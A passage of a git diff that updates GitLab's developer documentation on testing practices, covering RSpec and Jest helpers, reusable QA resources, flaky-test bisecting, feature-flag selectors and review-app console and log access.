| `source` | **{check-circle}** | string (max 32 chars) | Name of the source application, such as `gitlab-rails` or `gitlab-javascript` |
| `plan` | **{dotted-circle}** | string (max 32 chars) | Name of the plan for the namespace, such as `free`, `premium`, or `ultimate`. Automatically picked from the `namespace`. |
diff --git a/doc/development/sql.md b/doc/development/sql.md
index 129280598fe..e2208caf35a 100644
--- a/doc/development/sql.md
+++ b/doc/development/sql.md
@@ -249,6 +249,9 @@ In line with our `CodeReuse/ActiveRecord` cop, you should only use forms like
use the `ApplicationRecord`-provided `.pluck_primary_key` helper method instead.
In the latter, you should add a small helper method to the relevant model.
+If you have strong reasons to use `pluck`, it could make sense to limit the number
+of records plucked. `MAX_PLUCK` defaults to `1_000` in `ApplicationRecord`.
+
## Inherit from ApplicationRecord
Most models in the GitLab codebase should inherit from `ApplicationRecord`,
diff --git a/doc/development/stage_group_dashboards.md b/doc/development/stage_group_dashboards.md
index a887558e473..88e9141574e 100644
--- a/doc/development/stage_group_dashboards.md
+++ b/doc/development/stage_group_dashboards.md
@@ -60,8 +60,8 @@ component can have 2 indicators:
We're working on making this target configurable per endpoint in [this
project](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/525). Learn
- how to [customize the request
- apdex](application_slis/rails_request_apdex.md), this new apdex
+ how to
+ [customize the request Apdex](application_slis/rails_request_apdex.md), this new Apdex
measurement is not yet part of the error budget.
For Sidekiq job execution, the threshold depends on the [job
diff --git a/doc/development/testing_guide/best_practices.md b/doc/development/testing_guide/best_practices.md
index 6a739d9e1a5..0f768a51b66 100644
--- a/doc/development/testing_guide/best_practices.md
+++ b/doc/development/testing_guide/best_practices.md
@@ -483,6 +483,43 @@ expect(page).to have_css '[data-testid="weight"]', text: 2
expect(page).to have_css '.atwho-view ul', visible: true
```
+##### Interacting with modals
+
+Use the `within_modal` helper to interact with [GitLab UI modals](https://gitlab-org.gitlab.io/gitlab-ui/?path=/story/base-modal--default).
+
+```ruby
+include Spec::Support::Helpers::ModalHelpers
+
+within_modal do
+ expect(page).to have_link _('UI testing docs')
+
+ fill_in _('Search projects'), with: 'gitlab'
+
+ click_button 'Continue'
+end
+```
+
+Furthermore, you can use `accept_gl_confirm` for confirmation modals that only need to be accepted.
+This is helpful when migrating [`window.confirm()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/confirm) to [`confirmAction`](https://gitlab.com/gitlab-org/gitlab/-/blob/ee280ed2b763d1278ad38c6e7e8a0aff092f617a/app/assets/javascripts/lib/utils/confirm_via_gl_modal/confirm_via_gl_modal.js#L3).
+
+```ruby
+include Spec::Support::Helpers::ModalHelpers
+
+accept_gl_confirm do
+ click_button 'Delete user'
+end
+```
+
+You can also pass the expected confirmation message and button text to `accept_gl_confirm`.
+
+```ruby
+include Spec::Support::Helpers::ModalHelpers
+
+accept_gl_confirm('Are you sure you want to delete this user?', button_text: 'Delete') do
+ click_button 'Delete user'
+end
+```
+
##### Other useful methods
After you retrieve an element using a [finder method](#finders), you can invoke a number of
@@ -702,6 +739,42 @@ it 'is overdue' do
end
```
+#### RSpec helpers
+
+You can use the `:freeze_time` and `:time_travel_to` RSpec metadata tag helpers to help reduce the amount of
+boilerplate code needed to wrap entire specs with the [`ActiveSupport::Testing::TimeHelpers`](https://api.rubyonrails.org/v6.0.3.1/classes/ActiveSupport/Testing/TimeHelpers.html)
+methods.
+
+```ruby
+describe 'specs which require time to be frozen', :freeze_time do
+ it 'freezes time' do
+ right_now = Time.now
+
+ expect(Time.now).to eq(right_now)
+ end
+end
+
+describe 'specs which require time to be frozen to a specific date and/or time', time_travel_to: '2020-02-02 10:30:45 -0700' do
+ it 'freezes time to the specified date and time' do
+ expect(Time.now).to eq(Time.new(2020, 2, 2, 17, 30, 45, '+00:00'))
+ end
+end
+```
+
+[Under the hood](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/support/time_travel.rb), these helpers use the `around(:each)` hook and the block syntax of the
+[`ActiveSupport::Testing::TimeHelpers`](https://api.rubyonrails.org/v6.0.3.1/classes/ActiveSupport/Testing/TimeHelpers.html)
+methods:
+
+```ruby
+around(:each) do |example|
+ freeze_time { example.run }
+end
+
+around(:each) do |example|
+ travel_to(date_or_time) { example.run }
+end
+```
+
### Feature flags in tests
This section was moved to [developing with feature flags](../feature_flags/index.md).
@@ -891,7 +964,7 @@ creates and deletes indices between examples to ensure a clean index, so that th
for polluting the tests with nonessential data.
Most tests for Elasticsearch logic relate to:
-- Creating data in Postgres and waiting for it to be indexed in Elasticsearch.
+- Creating data in PostgreSQL and waiting for it to be indexed in Elasticsearch.
- Searching for that data.
- Ensuring that the test gives the expected result.
@@ -907,7 +980,7 @@ You do NOT need to add `:clean_gitlab_redis_shared_state` manually.
Specs using Elasticsearch require that you:
-- Create data in Postgres and then index it into Elasticsearch.
+- Create data in PostgreSQL and then index it into Elasticsearch.
- Enable Application Settings for Elasticsearch (which is disabled by default).
To do so, use:
@@ -921,7 +994,7 @@ end
Additionally, you can use the `ensure_elasticsearch_index!` method to overcome the asynchronous nature of Elasticsearch.
It uses the [Elasticsearch Refresh API](https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-refresh.html#refresh-api-desc)
to make sure all operations performed on an index since the last refresh are available for search. This method is typically
-called after loading data into Postgres to ensure the data is indexed and searchable.
+called after loading data into PostgreSQL to ensure the data is indexed and searchable.
#### Test Snowplow events
diff --git a/doc/development/testing_guide/end_to_end/best_practices.md b/doc/development/testing_guide/end_to_end/best_practices.md
index 9491c89c2a0..543feaa967c 100644
--- a/doc/development/testing_guide/end_to_end/best_practices.md
+++ b/doc/development/testing_guide/end_to_end/best_practices.md
@@ -16,7 +16,7 @@ In case custom inflection logic is needed, custom inflectors are added in the [q
## Link a test to its test case
-Every test should have a corresponding test case as well as a results issue in the [Quality Test Cases project](https://gitlab.com/gitlab-org/quality/testcases/).
+Every test should have a corresponding test case in the [GitLab project Test Cases](https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases) as well as a results issue in the [Quality Test Cases project](https://gitlab.com/gitlab-org/quality/testcases/-/issues).
It's recommended that you reuse the issue created to plan the test as the results issue. If a test case or results issue does not already exist you
can create them yourself. Alternatively, you can run the test in a pipeline that has reporting
enabled and the test-case reporter will automatically create a new test case and/or results issue and link the results issue to it's corresponding test case.
@@ -30,11 +30,11 @@ For example:
```ruby
RSpec.describe 'Stage' do
describe 'General description of the feature under test' do
- it 'test name', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/:test_case_id' do
+ it 'test name', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/:test_case_id' do
...
end
- it 'another test', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/:another_test_case_id' do
+ it 'another test', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/:another_test_case_id' do
...
end
end
@@ -92,7 +92,7 @@ end
There would be two associated test cases, one for each shared example, with the following content:
-[Test 1 Test Case](https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1491):
+[Test 1 Test Case](https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347774):
````markdown
```markdown
@@ -115,12 +115,12 @@ pushes and merges
Active and historical test results:
-https://gitlab.com/gitlab-org/quality/testcases/-/issues/600
+https://gitlab.com/gitlab-org/quality/testcases/-/issues/2177
```
````
-[Test 1 Results Issue](https://gitlab.com/gitlab-org/quality/testcases/-/issues/600):
+[Test 1 Results Issue](https://gitlab.com/gitlab-org/quality/testcases/-/issues/2177):
````markdown
```markdown
@@ -142,7 +142,7 @@ pushes and merges
```
````
-[Test 2 Test Case](https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/602):
+[Test 2 Test Case](https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347775):
````markdown
```markdown
@@ -165,12 +165,12 @@ user fails to push
Active and historical test results:
-https://gitlab.com/gitlab-org/quality/testcases/-/issues/602
+https://gitlab.com/gitlab-org/quality/testcases/-/issues/2176
```
````
-[Test 2 Results Issue](https://gitlab.com/gitlab-org/quality/testcases/-/issues/602):
+[Test 2 Results Issue](https://gitlab.com/gitlab-org/quality/testcases/-/issues/2176):
````markdown
```markdown
diff --git a/doc/development/testing_guide/end_to_end/feature_flags.md b/doc/development/testing_guide/end_to_end/feature_flags.md
index 52212410cc6..de34e6a1872 100644
--- a/doc/development/testing_guide/end_to_end/feature_flags.md
+++ b/doc/development/testing_guide/end_to_end/feature_flags.md
@@ -67,6 +67,57 @@ If no scope is provided, the feature flag is set instance-wide:
Runtime::Feature.enable(:feature_flag_name)
```
+## Working with selectors
+
+A new feature often replaces a `vue` component or a `haml` file with a new one.
+In most cases, the new file or component is accessible only with a feature flag.
+This approach becomes problematic when tests must pass both with, and without,
+the feature flag enabled. To ensure tests pass in both scenarios:
+
+1. Create another selector inside the new component or file.
+1. Give it the same name as the old one.
+
+Selectors are connected to a specific frontend file in the [page object](page_objects.md),
+and checked for availability inside our `qa:selectors` test. If the mentioned selector
+is missing inside that frontend file, the test fails. To ensure selectors are
+available when a feature flag is enabled or disabled, add the new selector to the
+[page object](page_objects.md), leaving the old selector in place.
+The test uses the correct selector and still detects missing selectors.
+
+If a new feature changes an existing frontend file that already has a selector,
+you can add a new selector with the same name. However, only one of the selectors
+displays on the page. You should:
+
+1. Disable the other with the feature flag.
+1. Add a comment in the frontend file to delete the old selector from the frontend
+ file and from the page object file when the feature flag is removed.
+
+### Example before
+
+```ruby
+# This is the link to the old file
+view 'app/views/devise/passwords/edit.html.haml' do
+ # The new selector should have the same name
+ element :password_field
+ ...
+end
+```
+
+### Example after
+
+```ruby
+view 'app/views/devise/passwords/edit.html.haml' do
+ element :password_field
+ ...
+end
+
+# Now it can verify the selector is available
+view 'app/views/devise/passwords/new_edit_behind_ff.html.haml' do
+ # The selector has the same name
+ element :password_field
+end
+```
+
## Running a scenario with a feature flag enabled
It's also possible to run an entire scenario with a feature flag enabled, without having to edit
diff --git a/doc/development/testing_guide/end_to_end/resources.md b/doc/development/testing_guide/end_to_end/resources.md
index 0819a2f7b54..abba1d51f07 100644
--- a/doc/development/testing_guide/end_to_end/resources.md
+++ b/doc/development/testing_guide/end_to_end/resources.md
@@ -4,14 +4,21 @@ group: unassigned
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Resource class in GitLab QA
+# Resource classes in GitLab QA
-Resources are primarily created using Browser UI steps, but can also
-be created via the API or the CLI.
+Resources are primarily created using Browser UI steps, but can also be created via the API or the CLI.
+
+A typical resource class is used to create a new resource that can be used in a single test. However, several tests can
+end up creating the same kind of resource and use it in ways that mean it could have been
+used by more than one test. Creating a new resource each time is not efficient. Therefore, we can also create reusable
+resources that are created once and can then be used by many tests.
+
+In the following section the content focuses on single-use resources, however it also applies to reusable resources.
+Information specific to [reusable resources is detailed below](#reusable-resources).
## How to properly implement a resource class?
-All resource classes should inherit from `Resource::Base`.
+All non-reusable resource classes should inherit from `Resource::Base`.
There is only one mandatory method to implement to define a resource class.
This is the `#fabricate!` method, which is used to build the resource via the
@@ -391,6 +398,96 @@ end
In this case, the result is similar to calling `Resource::Shirt.fabricate!`.
+## Reusable resources
+
+Reusable resources are created by the first test that needs a particular kind of resource, and then any test that needs
+the same kind of resource can reuse it instead of creating a new one.
+
+The `ReusableProject` resource is an example of this class:
+
+```ruby
+module QA
+ module Resource
+ class ReusableProject < Project # A reusable resource inherits from the resource class that we want to be able to reuse.
+ prepend Reusable # The Reusable module mixes in some methods that help implement reuse.
+
+ def initialize
+ super # A ReusableProject is a Project so it should be initialized as one.
+
+ # Some Project attributes aren't valid and need to be overridden. For example, a ReusableProject keeps its name once it's created,
+ # so we don't add a random string to the name specified.
+ @add_name_uuid = false
+
+ # It has a default name, and a different name can be specified when a resource is first created. However, the same name must be
+ # provided any time that instance of the resource is used.
+ @name = "reusable_project"
+
+ # Several instances of a ReusableProject can exists as long as each is identified via a unique value for `reuse_as`.
+ @reuse_as = :default_project
+ end
+
+ # All reusable resource classes must validate that an instance meets the conditions that allow reuse. For example,
+ # by confirming that the name specified for the instance is valid and doesn't conflict with other instances.
+ def validate_reuse_preconditions
+ raise ResourceReuseError unless reused_name_valid?
+ end
+ end
+ end
+end
+```
+
+Consider some examples of how a reusable resource is used:
+
+```ruby
+# This will create a project.
+default_project = Resource::ReusableProject.fabricate_via_api!
+default_project.name # => "reusable_project"
+default_project.reuse_as # => :default_project
+```
+
+Then in another test we could reuse the project:
+
+```ruby
+# This will fetch the project created above rather than creating a new one.
+default_project_again = Resource::ReusableProject.fabricate_via_api!
+default_project_again.name # => "reusable_project"
+default_project_again.reuse_as # => :default_project
+```
+
+We can also create another project that we want to change in a way that might not be suitable for tests using the
+default project:
+
+```ruby
+project_with_member = Resource::ReusableProject.fabricate_via_api! do |project|
+ project.name = "project-with-member"
+ project.reuse_as = :project_with_member
+end
+
+project_with_member.add_member(user)
+```
+
+Another test can reuse that project:
+
+```ruby
+project_still_has_member = Resource::ReusableProject.fabricate_via_api! do |project|
+ project.name = "project-with-member"
+ project.reuse_as = :project_with_member
+end
+
+expect(project_still_has_member).to have_member(user)
+```
+
+However, if we don't provide the name again an error will be raised:
+
+```ruby
+Resource::ReusableProject.fabricate_via_api! do |project|
+ project.reuse_as = :project_with_member
+end
+
+# => ResourceReuseError will be raised because it will try to use the default name, "reusable_project", which doesn't
+# match the name specified when the project was first fabricated.
+```
+
## Where to ask for help?
If you need more information, ask for help on `#quality` channel on Slack
diff --git a/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md b/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md
index 3749511fef5..cb15dbe023f 100644
--- a/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md
+++ b/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md
@@ -20,6 +20,7 @@ This is a partial list of the [RSpec metadata](https://relishapp.com/rspec/rspec
| `:github` | The test requires a GitHub personal access token. |
| `:group_saml` | The test requires a GitLab instance that has SAML SSO enabled at the group level. Interacts with an external SAML identity provider. Paired with the `:orchestrated` tag. |
| `:instance_saml` | The test requires a GitLab instance that has SAML SSO enabled at the instance level. Interacts with an external SAML identity provider. Paired with the `:orchestrated` tag. |
+| `:service_ping_disabled` | The test interacts with the GitLab configuration service ping at the instance level to turn admin setting service ping checkbox on or off. This tag will have the test run only in the `service_ping_disabled` job and must be paired with the `:orchestrated` and `:requires_admin` tags. |
| `:jira` | The test requires a Jira Server. [GitLab-QA](https://gitlab.com/gitlab-org/gitlab-qa) provisions the Jira Server in a Docker container when the `Test::Integration::Jira` test scenario is run.
| `:kubernetes` | The test includes a GitLab instance that is configured to be run behind an SSH tunnel, allowing a TLS-accessible GitLab. This test also includes provisioning of at least one Kubernetes cluster to test against. _This tag is often be paired with `:orchestrated`._ |
| `:ldap_no_server` | The test requires a GitLab instance to be configured to use LDAP. To be used with the `:orchestrated` tag. It does not spin up an LDAP server at orchestration time. Instead, it creates the LDAP server at runtime. |
@@ -43,6 +44,6 @@ This is a partial list of the [RSpec metadata](https://relishapp.com/rspec/rspec
| `:skip_signup_disabled` | The test uses UI to sign up a new user and is skipped in any environment that does not allow new user registration via the UI. |
| `:smoke` | The test belongs to the test suite which verifies basic functionality of a GitLab instance.|
| `:smtp` | The test requires a GitLab instance to be configured to use an SMTP server. Tests SMTP notification email delivery from GitLab by using MailHog. |
-| `:testcase` | The link to the test case issue in the [Quality Test Cases project](https://gitlab.com/gitlab-org/quality/testcases/). |
+| `:testcase` | The link to the test case issue in the [GitLab Project Test Cases](https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases). |
| `:transient` | The test tests transient bugs. It is excluded by default. |
| `:issue`, `:issue_${num}` | Optional links to issues which might be related to the spec. Helps keeping track of related issues and can also be used by tools that create test reports. Currently added automatically to `Allure` test report. Multiple tags can be used by adding optional number postfix like `issue_1`, `issue_2` etc. |
diff --git a/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md b/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md
index 95984a701e7..ef3e0624395 100644
--- a/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md
+++ b/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md
@@ -294,7 +294,7 @@ Geo requires an EE license. To visit the Geo sites in your browser, you need a r
export EE_LICENSE=$(cat <path/to/your/gitlab_license>)
```
-1. (Optional) Pull the GitLab image
+1. Optional. Pull the GitLab image
This step is optional because pulling the Docker image is part of the [`Test::Integration::Geo` orchestrated scenario](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/d8c5c40607c2be0eda58bbca1b9f534b00889a0b/lib/gitlab/qa/scenario/test/integration/geo.rb). However, it's easier to monitor the download progress if you pull the image first, and the scenario skips this step after checking that the image is up to date.
@@ -496,12 +496,12 @@ Tests that are tagged with `:mobile` can be run against specified mobile devices
Running directly against an environment like staging is not recommended because Sauce Labs test logs expose credentials. Therefore, it is best practice and the default to use a tunnel.
-Tunnel installation instructions are here [https://docs.saucelabs.com/secure-connections/sauce-connect/installation]. To start the tunnel, after following the installation above, copy the run command in Sauce Labs > Tunnels (must be logged in to Sauce Labs with the credentials found in 1Password) and run in terminal.
+For tunnel installation instructions, read [Sauce Connect Proxy Installation](https://docs.saucelabs.com/secure-connections/sauce-connect/installation). To start the tunnel, after following the installation above, copy the run command in Sauce Labs > Tunnels (must be logged in to Sauce Labs with the credentials found in 1Password) and run in terminal.
NOTE:
It is highly recommended to use `GITLAB_QA_ACCESS_TOKEN` to speed up tests and reduce flakiness.
-`QA_REMOTE_MOBILE_DEVICE_NAME` can be any device name listed in [https://saucelabs.com/platform/supported-browsers-devices] under Emulators/simulators and the latest versions of Android or iOS. `QA_BROWSER` must be set to `safari` for iOS devices and `chrome` for Android devices.
+`QA_REMOTE_MOBILE_DEVICE_NAME` can be any device name listed in [Supported browsers and devices](https://saucelabs.com/platform/supported-browsers-devices) under Emulators/simulators and the latest versions of Android or iOS. `QA_BROWSER` must be set to `safari` for iOS devices and `chrome` for Android devices.
1. To test against a local instance with a tunnel running, in `gitlab/qa` run:
diff --git a/doc/development/testing_guide/flaky_tests.md b/doc/development/testing_guide/flaky_tests.md
index 9489020de5d..d2e68ea7715 100644
--- a/doc/development/testing_guide/flaky_tests.md
+++ b/doc/development/testing_guide/flaky_tests.md
@@ -82,26 +82,19 @@ These flaky tests can fail depending on the order they run with other tests. For
- <https://gitlab.com/gitlab-org/gitlab/-/issues/327668>
-To identify the tests that lead to such failure, we can use `rspec --bisect`,
+To identify the tests that lead to such failure, we can use `scripts/rspec_bisect_flaky`,
which would give us the minimal test combination to reproduce the failure:
-```shell
-rspec --bisect ee/spec/services/ee/merge_requests/update_service_spec.rb ee/spec/services/ee/notes/quick_actions_service_spec.rb ee/spec/services/epic_links/create_service_spec.rb ee/spec/services/ee/issuable/bulk_update_service_spec.rb
-Bisect started using options: "ee/spec/services/ee/merge_requests/update_service_spec.rb ee/spec/services/ee/notes/quick_actions_service_spec.rb ee/spec/services/epic_links/create_service_spec.rb ee/spec/services/ee/issuable/bulk_update_service_spec.rb"
-Running suite to find failures... (2 minutes 18.4 seconds)
-Starting bisect with 3 failing examples and 144 non-failing examples.
-Checking that failure(s) are order-dependent... failure appears to be order-dependent
-
-Round 1: bisecting over non-failing examples 1-144 . ignoring examples 1-72 (1 minute 11.33 seconds)
-...
-Round 7: bisecting over non-failing examples 132-133 . ignoring example 132 (43.78 seconds)
-Bisect complete! Reduced necessary non-failing examples from 144 to 1 in 8 minutes 31 seconds.
-
-The minimal reproduction command is:
- rspec ./ee/spec/services/ee/issuable/bulk_update_service_spec.rb[1:2:1:1:1:1,1:2:1:2:1:1,1:2:1:3:1] ./ee/spec/services/epic_links/create_service_spec.rb[1:1:2:2:6:4]
-```
+1. First obtain the list of specs that ran before the flaky test. You can search
+ for the list under `Knapsack node specs:` in the CI job output log.
+1. Save the list of specs as a file, and run:
+
+ ```shell
+ cat knapsack_specs.txt | xargs scripts/rspec_bisect_flaky
+ ```
-We can reproduce the test failure with the reproduction command above. If we change the order of the tests, the test would pass.
+If there is an order-dependency issue, the script above will print the minimal
+reproduction.
### Time-sensitive flaky tests
diff --git a/doc/development/testing_guide/frontend_testing.md b/doc/development/testing_guide/frontend_testing.md
index 3096386d7c3..eb35227a50c 100644
--- a/doc/development/testing_guide/frontend_testing.md
+++ b/doc/development/testing_guide/frontend_testing.md
@@ -395,7 +395,7 @@ it('passes', () => {
```
To modify only the hash, use either the `setWindowLocation` helper, or assign
-directly to `window.location.hash`, e.g.:
+directly to `window.location.hash`, for example:
```javascript
it('passes', () => {
@@ -423,9 +423,7 @@ it('passes', () => {
### Waiting in tests
Sometimes a test needs to wait for something to happen in the application before it continues.
-Avoid using [`setTimeout`](https://developer.mozilla.org/en-US/docs/Web/API/setTimeout)
-
-because it makes the reason for waiting unclear. Instead use one of the following approaches.
+Avoid using [`setTimeout`](https://developer.mozilla.org/en-US/docs/Web/API/setTimeout) because it makes the reason for waiting unclear. Instead use one of the following approaches.
#### Promises and Ajax calls
@@ -633,8 +631,8 @@ The latter is useful when you have `setInterval` in the code. **Remember:** our
Non-determinism is the breeding ground for flaky and brittle specs. Such specs end up breaking the CI pipeline, interrupting the work flow of other contributors.
-1. Make sure your test subject's collaborators (e.g., Axios, apollo, Lodash helpers) and test environment (e.g., Date) behave consistently across systems and over time.
-1. Make sure tests are focused and not doing "extra work" (e.g., needlessly creating the test subject more than once in an individual test)
+1. Make sure your test subject's collaborators (for example, Axios, Apollo, Lodash helpers) and test environment (for example, Date) behave consistently across systems and over time.
+1. Make sure tests are focused and not doing "extra work" (for example, needlessly creating the test subject more than once in an individual test).
### Faking `Date` for determinism
@@ -650,7 +648,7 @@ describe('cool/component', () => {
// Default fake `Date`
const TODAY = new Date();
- // NOTE: `useFakeDate` cannot be called during test execution (i.e. inside `it`, `beforeEach`, `beforeAll`, etc.).
+ // NOTE: `useFakeDate` cannot be called during test execution (that is, inside `it`, `beforeEach`, `beforeAll`, etc.).
describe("on Ada Lovelace's Birthday", () => {
useFakeDate(1815, 11, 10)
@@ -670,7 +668,7 @@ Similarly, if you really need to use the real `Date` class, then you can import
```javascript
import { useRealDate } from 'helpers/fake_date';
-// NOTE: `useRealDate` cannot be called during test execution (i.e. inside `it`, `beforeEach`, `beforeAll`, etc.).
+// NOTE: `useRealDate` cannot be called during test execution (that is, inside `it`, `beforeEach`, `beforeAll`, etc.).
describe('with real date', () => {
useRealDate();
});
@@ -702,30 +700,33 @@ The more challenging part are mocks, which can be used for functions or even dep
### Manual module mocks
Manual mocks are used to mock modules across the entire Jest environment. This is a very powerful testing tool that helps simplify
-unit testing by mocking out modules which cannot be easily consumed in our test environment.
+unit testing by mocking out modules that cannot be easily consumed in our test environment.
-> **WARNING:** Do not use manual mocks if a mock should not be consistently applied in every spec (i.e. it's only needed by a few specs).
+> **WARNING:** Do not use manual mocks if a mock should not be consistently applied in every spec (that is, it's only needed by a few specs).
> Instead, consider using [`jest.mock(..)`](https://jestjs.io/docs/jest-object#jestmockmodulename-factory-options)
> (or a similar mocking function) in the relevant spec file.
#### Where should I put manual mocks?
Jest supports [manual module mocks](https://jestjs.io/docs/manual-mocks) by placing a mock in a `__mocks__/` directory next to the source module
-(e.g. `app/assets/javascripts/ide/__mocks__`). **Don't do this.** We want to keep all of our test-related code in one place (the `spec/` folder).
+(for example, `app/assets/javascripts/ide/__mocks__`). **Don't do this.** We want to keep all of our test-related code in one place (the `spec/` folder).
If a manual mock is needed for a `node_modules` package, use the `spec/frontend/__mocks__` folder. Here's an example of
a [Jest mock for the package `monaco-editor`](https://gitlab.com/gitlab-org/gitlab/-/blob/b7f914cddec9fc5971238cdf12766e79fa1629d7/spec/frontend/__mocks__/monaco-editor/index.js#L1).
-If a manual mock is needed for a CE module, place it in `spec/frontend/mocks/ce`.
+If a manual mock is needed for a CE module, place the implementation in
+`spec/frontend/__helpers__/mocks` and add a line to the `frontend/test_setup`
+(or the `frontend/shared_test_setup`) that looks something like:
-- Files in `spec/frontend/mocks/ce` mocks the corresponding CE module from `app/assets/javascripts`, mirroring the source module's path.
- - Example: `spec/frontend/mocks/ce/lib/utils/axios_utils` mocks the module `~/lib/utils/axios_utils`.
-- We don't support mocking EE modules yet.
-- If a mock is found for which a source module doesn't exist, the test suite fails. 'Virtual' mocks, or mocks that don't have a 1-to-1 association with a source module, are not supported yet.
+```javascript
+// "~/lib/utils/axios_utils" is the path to the real module
+// "helpers/mocks/axios_utils" is the path to the mocked implementation
+jest.mock('~/lib/utils/axios_utils', () => jest.requireActual('helpers/mocks/axios_utils'));
+```
#### Manual mock examples
-- [`mocks/axios_utils`](https://gitlab.com/gitlab-org/gitlab/-/blob/bd20aeb64c4eed117831556c54b40ff4aee9bfd1/spec/frontend/mocks/ce/lib/utils/axios_utils.js#L1) -
+- [`__helpers__/mocks/axios_utils`](https://gitlab.com/gitlab-org/gitlab/-/blob/a50edd12b3b1531389624086b6381a042c8143ef/spec/frontend/__helpers__/mocks/axios_utils.js#L1) -
This mock is helpful because we don't want any unmocked requests to pass any tests. Also, we are able to inject some test helpers such as `axios.waitForAll`.
- [`__mocks__/mousetrap/index.js`](https://gitlab.com/gitlab-org/gitlab/-/blob/cd4c086d894226445be9d18294a060ba46572435/spec/frontend/__mocks__/mousetrap/index.js#L1) -
This mock is helpful because the module itself uses AMD format which webpack understands, but is incompatible with the jest environment. This mock doesn't remove
@@ -897,7 +898,7 @@ it.each([
NOTE:
Only use template literal block if pretty print is not needed for spec output. For example, empty strings, nested objects etc.
-For example, when testing the difference between an empty search string and a non-empty search string, the use of the array block syntax with the pretty print option would be preferred. That way the differences between an empty string e.g. `''` and a non-empty string e.g. `'search string'` would be visible in the spec output. Whereas with a template literal block, the empty string would be shown as a space, which could lead to a confusing developer experience
+For example, when testing the difference between an empty search string and a non-empty search string, the use of the array block syntax with the pretty print option would be preferred. That way the differences between an empty string (`''`) and a non-empty string (`'search string'`) would be visible in the spec output. Whereas with a template literal block, the empty string would be shown as a space, which could lead to a confusing developer experience.
```javascript
// bad
@@ -1190,7 +1191,7 @@ it('renders the component correctly', () => {
})
```
-The above test will create two snapshots, what's important is to decide which of the snapshots provide more value for the codebase safety i.e. if one of these snapshots changes, does that highlight a possible un-wanted break in the codebase? This can help catch unexpected changes if something in an underlying dependency changes without our knowledge.
+The above test will create two snapshots. It's important to decide which of the snapshots provide more value for codebase safety. That is, if one of these snapshots changes, does that highlight a possible break in the codebase? This can help catch unexpected changes if something in an underlying dependency changes without our knowledge.
### Pros and Cons
diff --git a/doc/development/testing_guide/img/review-app-parent-pipeline.png b/doc/development/testing_guide/img/review-app-parent-pipeline.png
index 5686d5f6ebe..dd64d7d1be5 100644
--- a/doc/development/testing_guide/img/review-app-parent-pipeline.png
+++ b/doc/development/testing_guide/img/review-app-parent-pipeline.png
Binary files differ
diff --git a/doc/development/testing_guide/review_apps.md b/doc/development/testing_guide/review_apps.md
index 3190ab6c899..31a807697c5 100644
--- a/doc/development/testing_guide/review_apps.md
+++ b/doc/development/testing_guide/review_apps.md
@@ -36,6 +36,12 @@ On every [pipeline](https://gitlab.com/gitlab-org/gitlab/pipelines/125315730) in
browser performance testing using a
[Sitespeed.io Container](../../user/project/merge_requests/browser_performance_testing.md).
+## Sample Data for Review Apps
+
+Upon deployment of a review app, project data is created from the [`sample-gitlab-project`](https://gitlab.com/gitlab-org/sample-data-templates/sample-gitlab-project) template project. This aims to provide projects with prepopulated resources to facilitate manual and exploratory testing.
+
+The sample projects will be created in the `root` user namespace and can be accessed from the personal projects list for that user.
+
## How to
### Redeploy Review App from a clean slate
@@ -81,26 +87,22 @@ the GitLab handbook information for the [shared 1Password account](https://about
### Run a Rails console
1. Make sure you [have access to the cluster](#get-access-to-the-gcp-review-apps-cluster) and the `container.pods.exec` permission first.
-1. [Filter Workloads by your Review App slug](https://console.cloud.google.com/kubernetes/workload?project=gitlab-review-apps),
- e.g. `review-qa-raise-e-12chm0`.
-1. Find and open the `task-runner` Deployment, e.g. `review-qa-raise-e-12chm0-task-runner`.
-1. Click on the Pod in the "Managed pods" section, e.g. `review-qa-raise-e-12chm0-task-runner-d5455cc8-2lsvz`.
-1. Click on the `KUBECTL` dropdown, then `Exec` -> `task-runner`.
-1. Replace `-c task-runner -- ls` with `-it -- gitlab-rails console` from the
+1. [Filter Workloads by your Review App slug](https://console.cloud.google.com/kubernetes/workload?project=gitlab-review-apps). For example, `review-qa-raise-e-12chm0`.
+1. Find and open the `toolbox` Deployment. For example, `review-qa-raise-e-12chm0-toolbox`.
+1. Click on the Pod in the "Managed pods" section. For example, `review-qa-raise-e-12chm0-toolbox-d5455cc8-2lsvz`.
+1. Click on the `KUBECTL` dropdown, then `Exec` -> `toolbox`.
+1. Replace `-c toolbox -- ls` with `-it -- gitlab-rails console` from the
default command or
- - Run `kubectl exec --namespace review-qa-raise-e-12chm0 review-qa-raise-e-12chm0-task-runner-d5455cc8-2lsvz -it -- gitlab-rails console` and
- - Replace `review-qa-raise-e-12chm0-task-runner-d5455cc8-2lsvz`
+ - Run `kubectl exec --namespace review-qa-raise-e-12chm0 review-qa-raise-e-12chm0-toolbox-d5455cc8-2lsvz -it -- gitlab-rails console` and
+ - Replace `review-qa-raise-e-12chm0-toolbox-d5455cc8-2lsvz`
with your Pod's name.
### Dig into a Pod's logs
1. Make sure you [have access to the cluster](#get-access-to-the-gcp-review-apps-cluster) and the `container.pods.getLogs` permission first.
-1. [Filter Workloads by your Review App slug](https://console.cloud.google.com/kubernetes/workload?project=gitlab-review-apps),
- e.g. `review-qa-raise-e-12chm0`.
-1. Find and open the `migrations` Deployment, e.g.
